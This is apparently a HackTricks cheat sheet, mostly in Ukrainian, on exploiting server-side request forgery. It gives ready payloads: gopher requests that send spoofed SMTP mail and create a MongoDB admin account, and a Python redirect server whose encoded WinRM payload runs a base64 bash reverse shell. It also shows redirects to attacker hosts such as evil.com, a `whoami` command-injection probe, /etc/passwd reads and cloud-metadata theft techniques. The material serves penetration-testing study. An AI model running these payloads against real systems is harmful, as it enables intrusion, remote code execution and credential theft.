SSRF (Server Side Request Forgery)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Уразливість Server-side Request Forgery (SSRF) виникає, коли атакуючий маніпулює server-side application, щоб він виконав HTTP requests до домену за своїм вибором. Ця уразливість піддає сервер довільним зовнішнім запитам, спрямованим атакуючим.

Захоплення SSRF

Перше, що потрібно зробити — зафіксувати SSRF-взаємодію, яку ви ініціювали. Для перехоплення HTTP або DNS взаємодії можна використовувати такі інструменти:

Обхід whitelisted доменів

Зазвичай SSRF працює лише для певних whitelisted доменів або URL. На наступній сторінці наведено збірку технік, які можна спробувати для обходу цієї whitelist:

URL Format Bypass

Обхід через Open Redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource.
Read more here: [https://portswigger.net/web-security/ssrf]

Протоколи

  • file://
  • URL-схема file:// згадується, вказуючи безпосередньо на /etc/passwd: file:///etc/passwd
  • dict://
  • URL-схема DICT використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад побудованого URL, що звертається до конкретного слова, бази даних і номера запису, а також приклад PHP-скрипта, який може бути зловжитий для підключення до DICT-сервера з обліковими даними, наданими атакуючим: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Протокол для захищеного передавання файлів через SSH; наведено приклад, як PHP-скрипт можна використати для підключення до зловмисного SFTP-сервера: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, що працює поверх UDP; наведено приклад PHP-скрипта, який відправляє запит до TFTP-сервера. Зроблено TFTP-запит до ‘generic.com’ на порт ‘12346’ за файлом ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Описується Lightweight Directory Access Protocol і його використання для керування та доступу до розподілених служб довідкового каталогу по IP-мережах. Взаємодія з LDAP-сервером на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Описаний метод використання SSRF для взаємодії зі SMTP-службами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші дослідницькі дії на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Якщо SSRF виконується за допомогою curl, curl має функцію під назвою URL globbing, яка може бути корисною для обходу WAFs. Наприклад, у цьому writeup можна знайти цей приклад для path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Описано можливість протоколу Gopher вказувати IP, порт і байти для зв’язку з сервером, а також інструменти на кшталт Gopherus і remote-method-guesser для створення payloads. Ілюструються два різні варіанти використання:

Gopher://

Використовуючи цей протокол, ви можете вказати IP, port and bytes, які хочете, щоб сервер send. Тоді ви фактично можете експлуатувати SSRF, щоб communicate with any TCP server (але спочатку потрібно знати, як «говорити» з цим сервісом).
На щастя, ви можете використовувати Gopherus для створення payloads для кількох сервісів. Додатково, remote-method-guesser можна використати для створення gopher payloads для Java RMI сервісів.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Зворотне з’єднання до 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Створити користувача з username=admin, password=admin123 та permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

Аналітичне програмне забезпечення на серверах часто логгує заголовок Referrer для відстеження вхідних посилань, що ненавмисно робить додатки вразливими до Server-Side Request Forgery (SSRF). Це пов’язано з тим, що таке ПЗ може відвідувати зовнішні URL, вказані в заголовку Referrer, щоб аналізувати контент реферера. Щоб виявити такі вразливості, рекомендується плагін Burp Suite “Collaborator Everywhere”, який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.

SSRF via SNI data from certificate

Неправильне налаштування, яке може дозволити підключення до будь-якого backend через просту конфігурацію, ілюструється на наведеному прикладі конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса backend. Це налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши потрібну IP-адресу або доменне ім’я в полі SNI. Нижче наведено приклад експлуатації, щоб примусити підключення до довільного backend, наприклад internal.host.com, за допомогою команди openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF через TLS AIA CA Issuers (Java mTLS)

Деякі TLS-стеки автоматично завантажують відсутні проміжні CA, використовуючи URI Authority Information Access (AIA) → CA Issuers у сертифікаті піринга. У Java, увімкнення -Dcom.sun.security.enableAIAcaIssuers=true при запуску mTLS-сервісу змушує сервер звертатися до URI під контролем атакуючого із сертифіката клієнта під час рукопотискання, до виконання будь-якої HTTP-логіки.

  • Вимоги: mTLS увімкнено, у Java увімкнено отримування AIA, атакуючий може представити клієнтський сертифікат з підробленим URI AIA CA Issuers.
  • Виклик SSRF (приклад для Java 21):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Отладочний вивід certpath Java показує CertStore URI:http://localhost:8080, а nc перехоплює HTTP-запит з керованим User-Agent з -Dhttp.agent, що доводить наявність SSRF під час перевірки сертифіката.

  • DoS via file://: встановлення AIA CA Issuers на file:///dev/urandom на Unix-подібних хостах змушує Java трактувати його як CertStore і читати необмежену кількість випадкових байтів, завантажуючи ядро CPU і блокуючи подальші з’єднання навіть після відключення клієнта.

SSRF через CSS препроцесори

LESS — популярний CSS препроцесор, який додає змінні, mixins, функції та потужну директиву @import. Під час компіляції движок LESS буде завантажувати ресурси, на які посилаються в @import-інструкціях і вбудовувати (“inline”) їхній вміст у отриманий CSS, коли використано опцію (inline).

Див. як це експлуатувати в:

LESS Code Injection

Wget file upload

SSRF з Command Injection

Може варто спробувати payload на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Генерація PDF

Якщо веб-сторінка автоматично створює PDF з інформацією, яку ви надали, ви можете вставити трохи JS, який буде виконано самим генератором PDF (сервером) під час створення PDF і зможете зловживати SSRF. Дізнайтесь більше тут.

Від SSRF до DoS

Створіть кілька сесій і спробуйте через SSRF у цих сесіях завантажувати великі файли.

SSRF PHP-функції

Перегляньте наступну сторінку щодо вразливих PHP та навіть Wordpress функцій:

PHP SSRF

SSRF: перенаправлення на Gopher

Для деяких експлойтів може знадобитися відправити відповідь з редіректом (можливо, щоб використати інший протокол, наприклад gopher). Нижче наведено різні python-коди для відповіді з редіректом:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Неправильно налаштовані проксі для SSRF

Трюки from this post.

Flask

Flask proxy вразливий code ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **initial host name the username** та інжектувати нове. Запит атаки:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Виявлено, що можливо почати шлях запиту символом ;, що дозволяє потім використати @ і підставити новий хост для доступу. Запит атаки:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Вбудований веб-сервер PHP

Уразливий PHP-код ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP дозволяє використовувати **символ `*` перед слешем у шляху** URL, проте має інші обмеження: його можна застосовувати лише для кореневого шляху `/`, а крапки `.` не дозволені перед першим слешем, тому, наприклад, потрібно використовувати IP-адресу, закодовану у dotless-hex:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse proxies that accept absolute URLs in the request line (open forward-proxy)

Деякі reverse proxies також приймають absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) і пересилають URL як є на backend замість відхилення або переписування на налаштований upstream. Це перетворює reverse proxy на pre-auth forward proxy with full-read SSRF, включно з доступом до сервісів, прив’язаних до localhost, які зазвичай були б недосяжні з Інтернету.

Key points:

  • Request line controls destination: authority в абсолютному URL перекриває звичайне маршрутування; заголовок Host зазвичай ігнорується.
  • Full response returned: відповіді від внутрішніх хостів передаються назад у потоці, тож ви можете перелічувати та взаємодіяти (наприклад, SOAP/Axis2, Keycloak, admin consoles) замість сліпого сканування.
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n достатньо, щоб потрапити до прослуховувачів, доступних лише на loopback-інтерфейсі.
  • Abuse as pivot: комбінуйте з іншими vulns (наприклад, upload endpoints), щоб дістатися до intra-host services.

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

If you see the upstream response instead of a 400, the appliance is acting as an open proxy.

DNS Rebidding CORS/SOP bypass

Якщо у вас виникають problems щоб exfiltrate content from a local IP через CORS/SOP, DNS Rebidding можна використати для обходу цього обмеження:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin — інструмент для виконання DNS rebinding атак. Він включає необхідні компоненти для перев’язки IP-адреси імені DNS сервера-атакуючого з IP-адресою цільової машини та для доставки attack payloads з метою експлуатації вразливого ПЗ на цільовій машині.

Також перегляньте publicly running server in http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Вимоги:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Атака:

  1. Попросіть користувача/бота отримати доступ до домену, контрольованого attacker
  2. TTL для DNS встановлено в 0 сек (тому жертва незабаром перевірить IP домену знову)
  3. Між жертвою і доменом атакуючого створюється TLS connection. Атакуючий вставляє payload всередину Session ID або Session Ticket.
  4. Домен починає нескінченний цикл редіректів проти самого себе. Мета — змусити користувача/бота звертатися до домену доти, поки він знову не зробить DNS request для цього домену.
  5. В DNS відповіді тепер повертається private IP (наприклад 127.0.0.1)
  6. Користувач/бот намагатиметься переустановити TLS connection і для цього відправить Session ID/Ticket (в якому містився payload атакуючого). Вітаємо — ви змусили user/bot attack himself.

Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (memcache), потрібно змусити жертву встановити початкове з’єднання з www.attacker.com:11211 (порт повинен бути завжди той самий).
Для виконання цієї атаки можна використати інструмент: https://github.com/jmdx/TLS-poison/
Для додаткової інформації перегляньте доповідь, де ця атака пояснюється: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Різниця між blind SSRF і не-blind полягає в тому, що при blind ви не бачите відповіді на SSRF запит. Через це експлуатація ускладнюється, оскільки ви зможете використати лише well-known vulnerabilities.

Time based SSRF

Перевіряючи time відповіді сервера, можливо визначити, чи існує ресурс чи ні (наприклад, доступ до існуючого ресурсу може займати більше часу, ніж доступ до неіснуючого).

From blid to full abusing status codes

Згідно з цим blog post, деякі blind SSRF можуть виникати тому, що навіть якщо цільова URL відповідає зі статус-кодом 200 (наприклад AWS metadata), ці дані невірно відформатовані і додаток може відмовитися їх показувати.

Проте виявлено, що надсилаючи деякі redirect responses зі статусами від 305 до 309 у SSRF, може вийти змусити застосунок follow these redirects while entering an error mode, після чого він більше не перевірятиме формат даних і може просто їх вивести.

The python server used to exploit this is th following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Кроки:

  • Спочатку 302 змушує додаток почати переходити за редиректами.
  • Потім отримує 305 → 306 → 307 → 308 → 309 → 310.
  • Після 5-го незвичного коду PoC нарешті повертає 302 → 169.254.169.254 → 200 OK.

Що відбувається всередині цілі:

  • libcurl сам по собі переходить за 305–310; він просто нормалізує невідомі коди як “follow.”
  • Після N дивних редиректів (тут ≥ 5) власна оболонка додатку вирішує, що “щось не так”, і переключається у режим помилки, призначений для налагодження.
  • У цьому режимі вона повертає зовнішньому виклику всю ланцюжок редиректів разом із фінальним тілом відповіді.
  • Результат: зловмисник бачить кожен заголовок + the metadata JSON, завдання виконано.

Зауважте, це цікаво для leak статус-кодів, які раніше ви не могли leak (наприклад 200). Однак, якщо ви якимось чином могли б також вибирати статус-код відповіді (уявіть, що ви можете вирішити, що AWS metadata відповідає зі статус-кодом 500), можливі деякі статус-коди, які безпосередньо leak вміст відповіді.

HTML-to-PDF рендерери як сліпі SSRF-ґаджети

Бібліотеки на кшталт TCPDF (і обгортки як spipu/html2pdf) автоматично завантажують будь-які URL, присутні в HTML, контрольованому зловмисником, під час рендерингу PDF. Кожний атрибут <img> або <link rel="stylesheet"> обробляється на стороні сервера через cURL, getimagesize(), або file_get_contents(), тож ви можете змусити PDF-воркер опитувати внутрішні хости, навіть якщо жодна HTTP-відповідь вам не відображається.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 робить кілька спроб завантаження для кожного <img> ресурсу, тож один payload може згенерувати кілька запитів (корисно для таймінгових порт-сканів).
  • html2pdf наслідує поведінку TCPDF для <img> і додає отримання CSS всередині Css::extractStyle(), який просто викликає file_get_contents($href) після поверхневої перевірки scheme. Зловживайте цим, щоб звертатися до loopback services, діапазонів RFC1918 або cloud metadata endpoints.
  • Поєднуйте цей SSRF-примітив з HTML-to-PDF path traversal tricks, щоб leak як внутрішні HTTP-відповіді, так і local files, відрендерені в PDF.

Фахівцям із захисту слід видаляти зовнішні URL перед рендерингом або ізолювати renderer у мережевому sandbox; допоки цього не зроблено, розглядайте PDF-генератори як blind SSRF proxies.

Cloud SSRF Exploitation

Якщо ви знайдете SSRF у машині, що працює в cloud environment, ви можете отримати цікаву інформацію про cloud environment і навіть credentials:

Cloud SSRF

SSRF Vulnerable Platforms

Кілька відомих платформ містять або містили SSRF-вразливості, перевірте їх у:

SSRF Vulnerable Platforms

Tools

SSRFMap

Tool to detect and exploit SSRF vulnerabilities

Gopherus

This tool generates Gopher payloads for:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser — це Java RMI сканер вразливостей, який підтримує операції атаки для більшості поширених Java RMI векторів. Більшість доступних операцій підтримують опцію --ssrf для генерації SSRF payload для запитуваної операції. Разом з опцією --gopher можна прямо згенерувати готові до використання gopher payloads.

SSRF Proxy

SSRF Proxy — багатопотоковий HTTP proxy server, призначений для тунелювання клієнтського HTTP-трафіку через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF).

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks